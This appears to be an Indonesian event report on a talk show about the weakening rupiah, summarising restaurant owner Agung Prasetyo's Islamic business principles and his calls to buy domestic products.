Pemicunya adalah karena seringnya pembelian dollar, terutama dalam transaksi impor. KetikaA�inflasi naik, nilai mata uang rupiah pun secara otomatis akan menjadi tidak seimbang, UtangA�luar nergi, Spekulasi.
Sebagai anggota masyarakat, kita bisa turut membantu dalam pemulihan rupiah dengan mengurangi pembeli barang luar negri. Tidak hanya mengaku mencintai produk sendiri, tapi juga harus membeli dan menggunakannya dalam kehidupan sehari-hari.

Adapun Agung Prasetyo dalam kesempatannya berbicara, mengutarakan bahwa dalam hidup setiap orang harus memiliki prinsip agar mencapai kesuksesan. Prinsip yang ia pegang dengan kuat adalah a�?Harta Dibawa Matia�?, karena baginya dengan harta lah kita bisa beribadah. Harta membawa kita untuk bersedekah, berinfak, dan sebagainya.
Untuk menjadi orang sukses bukanlah hal yang mudah. Agung Prasetyo menceritakan bahwa perjalanannya sejak ia mengundurkan diri dari PT. Toyota Astra Motor hingga ia bisa mengembangkan bisnis ke tingkat sekarang ini penuh dengan lika-liku. Kebangkrutan adalah salah satu rintangan yang pernah menghampiri usaha bisnisnya.
Pemilik dari rumah makan Ayam Geprek Juara ini menyatakan bahwa rumah makannya tidak menyediakan lapangan pekerjaan bagi mereka yang ingin menambah penghasilan. Lapangan pekerjaan ini disediakan untuk yang orang-orang lebih membutuhkan, seperti para pemuda tamatan SD atau SMP yang kesulitan mencari pekerjaan di tempat-tempat lain.
Setiap orang bisa memberdayakan masyarakat dengan cara membantu mereka yang kekurangan dan memperbaiki perekonomiannya. Layaknya Hendri Tanjung, Agung Prasetyo juga mengajak masyarakat Indonesia untuk mencintai dan menggunakan produk-produknya sendiri.
Bisnis rumah makan Ayam Geprek Juara memiliki tiga pilar usaha yang menyokong tegaknya bisnis ini, yaitu: berjamaah (Partial Ownership), bagi hasil (Profit Sharing), dan pemberdayaan masyarakat (Community Empowerment). Dengan pilar-pilar itulah diharapkan makna dari kata JUARA (Jaringan Usaha, Amanah, Ridho, Allah) dapat terwujud.
Prinsip-prinsip dasar kerjasama yang diterapkan dalam usaha ini disesuaikan pula dengan ketiga pilar usaha tersebut. Sehingga bisnis Ayam Geprek Juara berjalan dengan cara-cara yang sesuai dengan syariat islam.
Agung Prasetyo mengatakan bahwa sebagai seorang muslim-preneur, kita tidak boleh menyalahkan siapun jika muncul suatu permasalahan. Tapi mula-mula lakukanlah sesuatu dengan mengatur mindset kita. Jika ingin menyikapi permasalahan melemahnya rupiah, maka yang harus dilakukan adalah:
Mengadakan program cinta rupiah. Misalnya memberikan tawaran ambil makan sepuasnya dengan harga yang murah dan terjangkau.


Mencetak pengusaha tanpa modal dan mengajak masyarakat yang tidak berpendidikan untuk mulai menjadi pengusaha.
Berhenti membayar royalty.
Dengan penjelasan dan solusi-solusi yang diberikan oleh kedua narasumber, diharapkan seluruh warga Indonesia khususnya para muslim-preneur untuk turut berkontribusi dalam terwujudnya Indonesia yang lebih baik, yang salah satu caranya adalah dengan menaikkan nilai rupiah kembali.

Rizqi ZakiyaTalk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!
read more